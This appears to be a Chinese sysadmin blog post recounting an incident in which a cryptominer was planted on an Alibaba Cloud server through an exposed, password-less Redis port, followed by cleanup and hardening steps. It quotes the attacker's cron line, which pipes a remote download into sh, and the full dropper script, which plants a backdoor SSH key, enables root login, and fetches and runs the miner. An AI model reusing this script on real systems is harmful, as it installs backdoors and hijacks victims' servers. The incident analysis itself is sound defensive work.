欢迎光临
我们一直在努力

服务阿里云服务器,阿里云服务器报警有挖矿行为

一、问题现象

现在是周五下午6点,已经下班,正准备收拾东西回家,突然电话铃声响起,来电的是我们的一个客户,告诉我说他们的一个线上秒杀系统不能用了,看来又要加班了,这就是运维工程师的生活啊,想准点下班一次,都难啊!这难道就是所谓的黑五吗?

打开电脑,连上客户服务器,看看是什么原因。客户的服务器运行在阿里云上,项目初期由我们开发和运维,项目交付后,就交给客户去运维了,所以很多客户服务器信息我们还是有的。

先说下客户的应用系统环境,操作系统是centos7.9,应用系统是java+mysql+redis运行环境,客户说周五下午他们电商平台做了一个大型的秒杀活动,从下午二点开始到凌晨结束,秒杀系统刚开始的时候都正常运行,但到了下午6点后,突然就无法使用了,前台提交秒杀请求后,一直无响应,最终超时退出。

了解完客户的系统故障后,感觉很奇怪,为啥秒杀系统以开始是正常的呢,并且到6点后就突然不正常了,第一感觉:是不是有什么计划任务在作怪?

二、分析问题

现象只是问题的表面,要了解本质的东西,必须要“深入虎穴”,先登录服务器,看看整个系统的运行状态,再做进一步的判断。top命令执行后,截图如下:

这个服务器是16核32GB内存,硬件资源配置还是很高的,但是,从图中可以看出,系统的平均负载较高,发现都在10以上,有个pid为16717的minerd的进程,消耗了大量CPU资源,并且这个minerd进程还是通过root用户启动的,已经启动了35分45秒。看来这个进程是刚刚启动的。

这个时间引起了我的一些疑惑,但是目前还说不清,此时,我看了下手表,当前时间是周五18点35分,接着,又问了下客户这个秒杀系统出问题多久了,客户回复说大概35分钟的样子。

问题好像在一步步揭开。

2.1、追查minerd不明进程

下面仍然回到minerd这个不明进程上来:一个进程突然启动,并且耗费大量CPU资源,这是一个什么进程呢,于是,带着疑问,搜索了一下,十分震惊,这是一个挖矿程序。

何为挖矿,这里稍微普及一下:所谓”挖矿”实质上是用计算机解决一项复杂的数学问题,是用于赚取比特币的一个程序,挖矿是消耗计算资源来处理交易,确保网络安全以及保持网络中每个人的信息同步的过程。可以理解为是比特币的数据中心,区别在于其完全是去中心化的设计,矿工在世界各国进行操作,没有人可以对网络具有控制权。这个过程因为同淘金类似而被称为“挖矿”。

任何人都可以在专门的硬件上运行软件程序而成为比特币矿工。挖矿软件通过P2P网络监听交易广播,执行任务以处理并确认这些交易。比特币矿工完成这些工作后,就有机会获取一定量的比特币作为赏金,但是付出的代价是需要大量的计算资源,挖矿软件依据特定算法,执行大量的计算,会大量占据cpu,导致系统卡顿,严重的直接瘫痪。

这几年比特币价格一路飙升,现在大家玩比特币挖矿的太多了,但多数都是用矿机或者显卡完成计算,而实际上最初比特币的挖矿是用电脑的CPU来进行的,虽然现在CPU的计算力远远落后于显卡和矿机,但并不是说不能用CPU来挖矿了,用CPU挖矿的软件很多,其中最有名的就是minerd,minerd是一个比特币挖矿程序,能够运行在服务器上挖矿,并大量消耗CPU资源。

好了,题外话说完了,继续回到本案例来,既然知道了这是个挖矿程序,那么下面要解决的问题是什么呢,先捋一下思路:

1、挖矿程序影响了系统运行,因此当务之急是马上关闭并删除挖矿程序。
2、挖矿程序是怎么被植入进来的,需要排查植入原因。
3、找到挖矿程序植入途径,然后封堵漏洞。

2.2、清除minerd挖矿进程

在上面看到了挖矿程序minerd的pid为16717,那么可以根据进程ID查询一下产生进程的程序路径,可以执行“ls -al /proc/$PID/exe”,就能获知pid对应的可执行文件路径,其中$PID为查询到的进程ID。

[root@localhost ~]#  ls -al /proc/16717/exe         
lrwxrwxrwx 1 root root 0 Apr 25 13:59 /proc/5423/exe -> /var/tmp/minerd

找到程序路径以及pid,就可以清除这个挖矿程序了,执行如下:

[root@localhost ~]#  kill -9 16717
[root@localhost ~]#  rm -rf /var/tmp/minerd

清除完毕,然后top查看了系统进程状态,minerd进程已经不在了,系统负载也开始下降。但直觉告诉我,这个挖矿程序没有这么简单。

果然,在清除挖矿程序的5分钟后,又发现minerd进程启动起来了。

根据一个老鸟运维的经验,感觉应该是crontab里面被写入了定时任务。于是,下面开始检查系统的crontab文件的内容。

linux下有系统级别的crontab和用户级别的crontab,用户级别下的crontab定义后,会在/var/spool/cron目录下创建对应用户的计划任务脚本,而系统级别下的crontab,可以直接查看/etc/crontab文件。

首先查看 /var/spool/cron目录,查询一下系统中是否有异常的用户计划任务脚本程序。如下图所示:

[root@localhost cron]# ll /var/spool/cron/
total 4
drwxr-xr-x 2 root root  6 Oct 18 19:01 crontabs
-rw------- 1 root root 80 Oct 18 19:04 root
[root@localhost cron]# cat /var/spool/cron/root
*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh
[root@localhost cron]# cat /var/spool/cron/crontabs/root
*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh

可以发现,/var/spool/cron/root和/var/spool/cron/crontabs/root两个文件中都有被写入的计划任务。两个计划任务是一样的,计划任务的设置策略是:
每天的18点到23点,0点到7点,这段时间内,每五分钟执行一个curl操作,这个curl操作会从r.chanstring.com这个网站上下载一个脚本,然后在本地服务器上执行。

这里有个很有意思的事情,此计划任务的执行时间刚好在非工作日期间(8点到23点,0点到7点),此骇客还是很有想法的,利用非工作日期间,借用客户的服务器偷偷挖矿,这个时间段隐蔽性很强,不容易发现服务器异常。也正好解释了上面客户提到的从18点开始,秒杀系统就出现异常的原因。

既然发现了这个下载脚本的网站,那就看看下载下来的脚本到底是什么,执行了什么操作,https://r.chanstring.com/api/report?pm=0988 此网站很明显是个api接口,下载下来的内容如下:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
    mkdir -p ~/.ssh
    rm -f ~/.ssh/authorized_keys*
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
    /etc/init.d/sshd restart
fi

if [ ! -f "/var/tmp/minerd" ]; then
    curl -fsSL https://r.chanstring.com/minerd -o /var/tmp/minerd
    chmod +x /var/tmp/minerd
    /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqsWqkNnkny8pVSvhiDuTA3zCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQ3zmbvvoKVuZV2avhJh -p x
fi
ps auxf | grep -v grep | grep /var/tmp/minerd || /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqy5hflu/XRe4dybhCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQy5hflu/XRe4dybh -p x

if [ ! -f "/etc/init.d/lady" ]; then
    if [ ! -f "/etc/systemd/system/lady.service" ]; then
        curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /var/tmp/KHK75NEOiq66 && chmod +x /var/tmp/KHK75NEOiq66 && /var/tmp/KHK75NEOiq66
    fi
fi

service lady start
systemctl start lady.service
/etc/init.d/lady start

这是个非常简单的shell脚本,基本的执行逻辑是:

1、写入计划任务到/var/spool/cron/root和/var/spool/cron/crontabs/root文件中。
2、接着检查/root/.ssh/KHK75NEOiq文件(这应该是个公钥文件)是否存在,如果不存在,写入公钥到服务器,并修改/etc/ssh/sshd_config的配置。
3、检查挖矿程序/var/tmp/minerd是否存在,如果不存在,从网上下载一个,然后授权,最后开启挖矿程序。同时,还会检查挖矿进程是否存在,不存在就重新启动挖矿进程,其中,-o参数后面跟的是矿池地址和端口号, -u参数后面是黑 客自己的钱包地址,-p参数是密码,随意填写就行。

到这里为止,挖矿程序的运行机制基本清楚了。但是,客户的问题还没有解决!

那么黑 客是如何植入挖矿程序到系统的呢?这个问题需要查清楚。

2.3、寻找挖矿程序植入来源

为了弄清楚挖矿程序是如何植入系统的,下面在系统中继续查找问题,试图找到一些漏洞或者入 侵痕迹。

考虑到这秒杀系统运行了mysql、redis、tomcat和nginx,那么看看这些启动的端口是否安全呢,执行命令获取结果如下:

从netstat命令输出可以看出,系统内启动了多个端口,nginx对应的端口是80,允许所有IP(0.0.0.0)访问,此外,redis启动了6380端口、mysql启动了3306端口,都默认绑定的是0.0.0.0,此外还看到有8080、8009端口,这个应该是tomcat启动的端口。

这么多启动的端口,其中,80、3306、6380都监听在0.0.0.0上,这是有一定风险的,但是可以通过防火墙屏蔽这些端口,说到防火墙,那么接下看再看看iptables的配置规则,内容如下:

从输出的iptables规则中,马上发现有一个异常规则,那就是6380端口,对全网(0.0.0.0)开放,这是非常危险的规则,怎么会让6380对全网开放呢,另外又查看发现,80端口也是全网开放,这个是必须要打开的,没问题。而3306端口没有在防护墙规则上显示出来,而INPUT链默认是DROP模式,也就是3306端口没有对外网开放,是安全的。

发现了6380端口对全网开放,那么就在外网试图连接看看情况,执行如下:

[root@client189 ~]# redis-cli  -h 182.16.21.32 -p 6380
182.16.21.32:6380> info
# Server
redis_version:3.2.12
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:3dc3425a3049d2ef
redis_mode:standalone
os:Linux 3.10.0-862.2.3.el7.x86_64 x86_64
......

这个厉害了,直接无密码远程登录上来了,还能查看redis信息、执行redis命令。

至此,问题找到了,redis的无密码登录,以及redis端口6380对全网开放,导致被入 侵了。

最后,问了下为何要将6380端口全网开放,客户回忆说,因为开发要在家办公处理问题,需要远程连接redis,所以就让运维在服务器开放了这个6380端口,但是开发处理问题后,运维忘记关闭这个端口了,至此,运维成功背锅。

其实我觉得这是一个协作机制问题,开发、运维协调工作,需要有个完备的协作机制,对于线上服务器,端口是不能随意对外网开放的,由于处理问题的不确定性,运维要有一个线上服务器防护机制,例如通过代理、跳板机等方式,一方面可以保证可随时随地办公,另一方面也能确保线上服务器的安全。

三、问题解决

到这里为止,我们已经基本找到此次故障的原因了。梳理一下思路,总结如下:

(1)、黑 客通过扫描软件扫到了服务器的6380端口,然后发现此端口对应的redis服务无密码验证,于是入 侵了系统。
(2)、在系统上植入了挖矿程序,并且通过crontab定期检查挖矿程序,如果程序关闭,自动下载,自动运行挖矿。
(3)、挖矿程序的启动时间在每天下午18点,一直运行到第二天的早上七点钟,这和客户的秒杀系统在18点发生故障刚好吻合。
(4)、挖矿程序启动后,会大量占用系统的CPU资源,最终导致秒杀系统无资源可用,进而系统瘫痪。

问题找到了,思路也理清了,那么怎么解决问题呢,其实解决问题很简单了。解决问题分成两个阶段,分别如下:

3.1、彻底清除植入的挖矿程序

(1)、首先删除计划任务脚本中异常配置项,如果当前系统之前并未配置过计划任务,可以直接执行rm -rf /var/spool/cron/ 删除计划任务目录下所有内容即可。
(2)、删除黑 客创建的密钥认证文件,如果当前系统之前并未配置过密钥认证,可以直接执行rm -rf /root/.ssh/
清空认证存放目录即可。如果有配置过密钥认证,需要删除指定的黑 客创建的认证文件即可,当前脚本的密钥文件名是KHK75NEOiq,此名称可能会有所变化,要根据具体情况进行删除。
(3)、修复sshd配置文件/etc/ssh/sshd_config,看上面植入的脚步,黑 客主要修改了PermitRootLogin、RSAAuthentication、PubkeyAuthentication几个配置项,还修改了密钥认证文件名为KHK75NEOiq,建议修改成默认值“AuthorizedKeysFile .ssh/authorized_keys”即可。修改完成后重启sshd服务,使配置生效即可。或者最简单的方法是从其它正常的系统下拷贝一个sshd_config覆盖过来即可。
(4)、删除/etc/init.d/lady文件、/var/tmp/minerd文件、/var/tmp/KHK75NEOiq66文件、/etc/systemd/system/lady.service文件等所有可疑内容。
(5)、通过top命令查看挖矿程序运行的pid,然后根据pid找到可执行文件路径,最后删除,同时kill掉这个进行pid。
(6)、从/etc/rc.local下,/etc/init.d/下检查是否有开机自启动的挖矿程序,如果有删除掉。

通过这几个步骤,基本上可以完全清除被植入的挖矿程序了,当然,还是继续监控和观察,看挖矿程序是否还会自动启动和执行。经过几个小时观察,异常挖矿程序再无启动,看来病毒已经彻底清理掉了。

3.2、系统安全加固

安全加固主要从几个来进行:

1、设置防火墙,禁止外网访问Redis

此次故障的主要原因是系统对外暴露了6380端口导致的,因此,从iptables上关闭6380端口是当务之急,可执行如下命令,删除开放的6380端口。

iptables -D INPUT -p tcp -m tcp –dport 6380 -j ACCEPT

2、以低权限运行Redis服务

此案例中,redis的启动用户是root,这样很不安全,一旦redis被入 侵,那么黑 客就具有了root用户权限,因此,推荐redis用普通用户去启动。

3、修改默认redis端口

redis默认端口是6379,常用的扫描软件都会扫描6379、6380、6381等等这一批redis类端口,因此,修改redis服务默认端口也非常有必要,将端口修改为一个陌生不易被扫描到的端口,例如,36138等。

4、给redis设置密码验证

修改redis配置文件redis.conf,添加如下内容:

requirepass mypassword

其中,mypassword就是redis的密码。密码添加后,需要重启redis生效,如何验证密码是否生效,可以通过如下方法:

[root@localhost ~]# redis-cli -h 127.0.0.1
127.0.0.1:6379> info
NOAUTH Authentication required.
127.0.0.1:6379> auth mypassword
OK
127.0.0.1:6379> info
# Server
redis_version:3.2.12
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:3dc3425a3049d2ef
redis_mode:standalone
os:Linux 3.10.0-862.2.3.el7.x86_64 x86_64
。。。。。。

在上面操作中,首先不输入密码登录后,执行info发现提示验证失败,然后输入auth后面跟上密码,即可验证成功。

这里注意,不要在linux命令行直接输入-a参数,类似这样:

[root@localhost ~]# redis-cli -h 127.0.0.1 -a mypassword

-a参数后面跟的是密码是明文的,这样很不安全。

5、保证authorized_keys文件的安全

authorized_keys文件非常重要,它存储着本地系统可以允许远端计算机系统ssh免密码登陆的账号信息。也就是远端的计算机可以通过什么账号不需要输入密码就可以远程登陆本系统。默认情况下此文件权限为600才能正常工作,为了安全起见,可将authorized_keys的权限设置为对拥有者只读,其他用户没有任何权限,即为:

chmod 400 ~/.ssh/authorized_keys

同时,为保证authorized_keys的权限不会被改掉,还建议设置该文件的immutable位权限:

chattr +i ~/.ssh/authorized_keys

这样,authorized_keys文件就被锁定了,如果不解锁的话,root用户也无法修改此文件。

经过上面五个步骤的操作,故障基本解决了,客户的秒杀系统也恢复正常了,从排查问题,到故障排除,花费了40分钟的时间。

赞(0)
【声明】:本博客不参与任何交易,也非中介,仅记录个人感兴趣的主机测评结果和优惠活动,内容均不作直接、间接、法定、约定的保证。访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。